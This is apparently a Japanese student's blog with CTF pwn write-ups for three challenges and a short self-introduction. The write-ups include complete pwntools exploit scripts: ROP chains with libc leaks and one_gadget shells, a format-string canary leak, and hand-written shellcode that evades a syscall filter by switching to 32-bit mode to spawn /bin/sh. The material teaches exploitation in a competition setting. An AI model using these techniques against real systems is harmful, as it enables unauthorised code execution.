<Cyber Santa is Coming to Town> Writeup

はじめに


12 月 1 日(水)22 : 00 ~ 12 月 6 日(月)4 : 00 に行われていた Hack The Box 主催の CTF 、Cyber Santa is Coming to Town に参加しました。


5 ジャンル × 5 問ずつ出題されました。Pwn 5 問のうち最後の 2 問の Writeup をちょっとだけ書きます。


結果

Minimelfistic


実行ファイルと libc が配布されました。サンタが家に帰ってきたタイミングでアラームか何かを消してもらいます。

$ ./chall
 
[*] Santa is not home!
  
[*] Santa is not home!
 
[*] Santa is not home!
 
[*] Santa is not home!
 
[*] Santa is not home!
 
[*] Santa is not home!
 
[*] Santa is not home!
 
[!] Santa returned!
 
[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> y
 
[!] For your safety, the 🚨 will not be deactivated!
 
[*] Santa is not home!
$ checksec chall
[*] '/home/hasuke/Downloads/minimelfistic/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'.'


サンタが帰ってきて質問してきますが、これに返答する際に BOF を起こせます。


攻撃の流れは、


write()を用いて libc leak → そのままmain()に返る → リークした値を利用して、もう一度 ROP をしてシェルをとる


という感じです。


write()を呼ぶ時に第 3 引数まで設定する必要がありますが、それには__libc_csu_init()の一部が利用できます。

   0x0000000000400a20 <+64>:	mov    rdx,r15
   0x0000000000400a23 <+67>:	mov    rsi,r14
   0x0000000000400a26 <+70>:	mov    edi,r13d
   0x0000000000400a29 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x0000000000400a2d <+77>:	add    rbx,0x1
   0x0000000000400a31 <+81>:	cmp    rbp,rbx
   0x0000000000400a34 <+84>:	jne    0x400a20 <__libc_csu_init+64>
   0x0000000000400a36 <+86>:	add    rsp,0x8
   0x0000000000400a3a <+90>:	pop    rbx
   0x0000000000400a3b <+91>:	pop    rbp
   0x0000000000400a3c <+92>:	pop    r12
   0x0000000000400a3e <+94>:	pop    r13
   0x0000000000400a40 <+96>:	pop    r14
   0x0000000000400a42 <+98>:	pop    r15
   0x0000000000400a44 <+100>:	ret    


具体的には、write(1, addr_got_write, 16)と設定するために、


0x400a3a に入り、rbx、rbp、r12、r13、r14、r15 にそれぞれ 0、1、write()の GOT アドレス、1 、write()の GOT アドレス、16 を入れた後、 0x400a20 にリターンします。


すると rdx、rsi、edi にそれぞれ適切な値を設定した上でwrite()を呼べ、さらに 0x400a34 の分岐を通り抜け、すきな関数にリターンできます。

#!/usr/bin/env python3                                                         
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
#HOST = '46.101.85.29'
#PORT = 31882
 
binf = ELF(bin_file)
libc = ELF('./libc.so.6')
 
def attack(io, **kwargs):
    exploit = p64(0x39)
    exploit += b'a' * 0x40
    exploit += p64(0x400a3a)
    exploit += p64(0)
    exploit += p64(1)
    exploit += p64(binf.got['write'])
    exploit += p64(1)
    exploit += p64(binf.got['write'])
    exploit += p64(16)
    exploit += p64(0x400a20)
    exploit += b'0' * 0x38
    exploit += p64(binf.sym.main)
 
    io.sendlineafter('> ', exploit)
    io.recvline()
    io.recvline()
    io.recvline()
 
    leak = unpack(io.recvuntil(b'\x00'), 'all')
    libc.address = leak - libc.sym.write
    info('libc_base = 0x{:08x}'.format(libc.address))
 
    onegad = [0x4f3d5, 0x4f432, 0x10a41c]
    addr_onegad = libc.address + onegad[0]
 
    io.sendlineafter('> ', p64(57) + b'a'*0x40 + p64(addr_onegad))
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()                        

Music Notes


サンタの楽譜が悪い奴らに書き換えられて、それを修正してあげるっていう設定です。実行ファイルと libc が配布されました。


こんなふうに 5 回連続で正しい音を当てれば名前とプレゼントを入力できます。

$ ./chall
 
 
 🎵 🎻 Jingle bells, jingle bells, jingle...? 🎸 🎵
 
 
 .------.                   _______       __
 ( X  X )                  /   ------.   / ._`_
 \ X  X /                 | /         ~--~    \
 / X  X \                 | |             __    `.____________________ _^-----^
 (      )                 | |  IX|XXXXXXX/--\XXXXXXXXXXXXXXXXXXXXXXXXX| o o o |
  `-||-'                  \ |  IX|XXXXXXX\__/XXXXXXXXXXXXXXXXXXXXXXXXX|_o_o_o_|
    ||                     \       .---.    .
    ||                       -----'     ~~''
    ||
    ()
 
 
  
Choose note:
1. B
2. D
> 2
 
Choose note:
1. D
2. B
> 2
 
Choose note:
1. A
2. G
> 1
 
Choose note:
1. G
2. B
> 1
 
Choose note:
1. D
2. B
> 1
 
[+] You collected all the notes!
 
[*] Tell me your name so that you can receive your 🎁!
> hoge
 
[*] So, your name is: hoge
 
[*] What a nice name! Tell me what would you like as a 🎁: huga
[*] 🎅 will prepare your gift soon!
$ checksec chall
[*] '/home/hasuke/Downloads/music_notes/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'


正しい音は D - B - A - G - D です。


利用する脆弱性は、
① 名前を確かめてくるところの FSB
② プレゼントを入力するところの BOF(変数 present のサイズは 40 バイト)
です。

      read(0,name,(long)(local_84 + -1));
      printf("\n[*] So, your name is: ");
      printf(name);
      printf(&DAT_001013b8);
      read(0,present,0x6e);


① で canary と__libc_start_main() + 231のアドレスをリークしてから、② で ROP をします。

#!/usr/bin/env python3                                                         
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
#HOST = '159.65.88.143'
#PORT = 30280
 
binf = ELF(bin_file)
libc = ELF('./libc.so.6')
 
notes = ['D', 'B', 'A', 'G', 'D']
 
def choose_notes(io, i):
    io.recvuntil('note:')
    io.recvline()
    io.recv(3)
    if notes[i] == io.recv(1).decode():
        io.sendlineafter('> ', '1')
    else:
        io.sendlineafter('> ', '2')    
 
def attack(io, **kwargs):
    for i in range(5):
        choose_notes(io, i)
 
    fsa = '%41$p_%43$p'
    io.sendlineafter('> ', fsa)
    io.recvuntil('0x')
    canary = int(io.recv(16), 16)
    io.recv(3)
    leak = int(io.recv(12), 16)
     
    libc.address = leak - 231 - libc.sym.__libc_start_main
    info('libc_base is 0x{:08x}'.format(libc.address))
 
    onegad = [0x4f3d5, 0x4f432, 0x10a41c]
    addr_onegad = libc.address + onegad[1]
 
    exploit = b'a' * 0x28
    exploit += p64(canary)
    exploit += b'a' * 0x38
    exploit += p64(addr_onegad)
     
    io.recvuntil('like')
    io.sendafter(': ', exploit)
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()      
これすき

おわりに


スコアサーバのテーマがクリスマスを意識したものだったり、アスキーアートが綺麗だったりして楽しかったです。

雪が降ってた。

<VULNCON CTF 2021> More than Shellcoding Writeup

 

 

はじめに


先週末に行われていた VULNCON CTF 2021 に1人で参加しました。


More than Shellcoding だけ解けました。


ちなみに、このCTFは VULNCON 2021 というイベントの企画の1つらしく、そこでは専門家の方々のトークイベントなども開催されるらしいです。学校があるので観られなそう。ちょっと残念。

More than Shellcoding (Pwn)



実行ファイルだけ配られました。

$ file More_than_shellcoding 
More_than_shellcoding: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=43505c2808579f50829576cb1bbcbfd5bd5a7f95, 
for GNU/Linux 3.2.0, not stripped

$ checksec chall
[*] '/home/hasuke/Programs/VULN/Shellcoding/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


入力したシェルコードを実行してくれるようですが、どうせ何か制限がかかっているので、デコンパイル*1(広義)して解析していきます。

$ ./chall
Are you really good at shellcoding Lets try : 
aaaaaaaaa 
Illegal instruction (コアダンプ)


入力を受け取る部分を見てみると、シェルコードが格納される領域のアドレスがわかります。

  puts("Are you really good at shellcoding Lets try : ");
  __buf = (code *)mmap((void *)0x69420000,0x100,2,0x22,0,0);
  uVar1 = read(0,__buf,0x100);
  mprotect(__buf,0x100,4);


制限は、fileter_shellcode関数のこの部分にあります。

index = 0;
while( true ) {
  if (len_shellcode + -1 <= index) {
    return;
  }
  if ((*(char *)(shellcode + index) == '\x0f') &&
     (*(char *)(shellcode + (long)index + 1) == '\x05')) break;
  index = index + 1;
}
puts("\nbad shellcode");
                  /* WARNING: Subroutine does not return */
exit(0);


入力したコードの中に \x0f\x05 のかたまりがあると実行してくれません( \x0f\x05 はsyscallに対応します)。


こういう場合の作戦の1つとして、シェルコードの末尾に \x0e\x05 とかを入れて、そこのアドレスを inc 命令で syscall に変換するやり方があります。ですが今回は、mprotect() によって、後から書き込みができない状態になっているので、その方法は通用しません(第3引数の 0x4 は PROT_EXEC に対応します)。


syscallを直接実行するのは難しそうなので、32 ビットモードでint 0x80命令を実行して、システムコールを発行する方法を考えます。


ISA が AMD64 の CPU は、OS が 64 ビットだと Long モードで動作します。Long モードには 64 ビットモードと互換モードがあり、前者から後者に切り替えることで、アドレスが 32 ビット単位の命令を実行できるようになります。そしてこの切り替えは、コードセグメントのセレクタ値を 0x23 にすることで行えます。セレクタ値の変更にはretf命令*2が使えます。*3


具体的な操作をアセンブリ言語で書くとこんな感じになります。(11行目以降は、ももいろテクノロジー*4を参考にしました)

global main                                                                     

main:
BITS 64
        xor rsp, rsp
        mov esp, 0x404088
        mov DWORD [rsp], 0x69420018
        mov DWORD [rsp+4], 0x23
        retf
  
BITS 32
        push 0x0068732f
        push 0x6e69622f
        mov ebx, esp
        xor edx, edx
        push edx
        push ebx
        mov ecx, esp
        mov eax, 11
        int 0x80

ちなみに nasm でアセンブルするときは PTR がいらないみたいです。


互換モードに切り替わる際、スタックポインタは元々指していたアドレスの下位 4 バイト分のアドレスを指すようになるので、切り替わる前に rsp の値を調整しておく必要があります。メモリ等の情報は、bss 領域に書き込みました。


exploit コードはこんな感じです。

#!/usr/bin/env python3                                                                                                           
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
#HOST = '35.228.15.118'
#PORT = 1338
 
binf = ELF(bin_file)
 
def attack(io, **kwargs):
    shellcode = b'\x48\x31\xe4\xbc\x88\x40\x40\x00\xc7\x04\x24\x18\x00\x42\x69\xc7\x44\x24\x04\x23\x00\x00\x00\xcb'\
                b'\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80'
    io.recvline()
    io.sendline(shellcode)
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

 

おわりに

 
Writeup を書くのは結構大変でした。

調べればわかることをダラダラと書きすぎたからかもしれませんが。

アセンブリ言語を書いたことが全然なかったので、勉強になりました。
 

*1:ghidraを使いました。

*2:スタックから 4 バイトずつ 2 つの値を pop して、それぞれを rip と cs(コードセグメントのセグメントレジスタ)に格納させる命令です。

*3:ここの説明は、『詳解セキュリティコンテスト』Wikipediaを参考にしました。

*4:https://inaz2.hatenablog.com/entry/2014/03/13/013056

はじめに

自己紹介

こんにちは!


大学1年生です





このブログの内容


ジャンルは絞らないつもりですが、最近 CTF を始めたので Writeup の記事がメインになりそうです。


今のところ簡単な問題しか解けないのであまり需要がないかもしれませんが、自分用の記録も兼ねて書いていこうと思います。


間違ったことは書かないように気を付けますが、誤りを見つけたらコメントで教えてください!


あと気分屋なので急に消したりするかもしれません。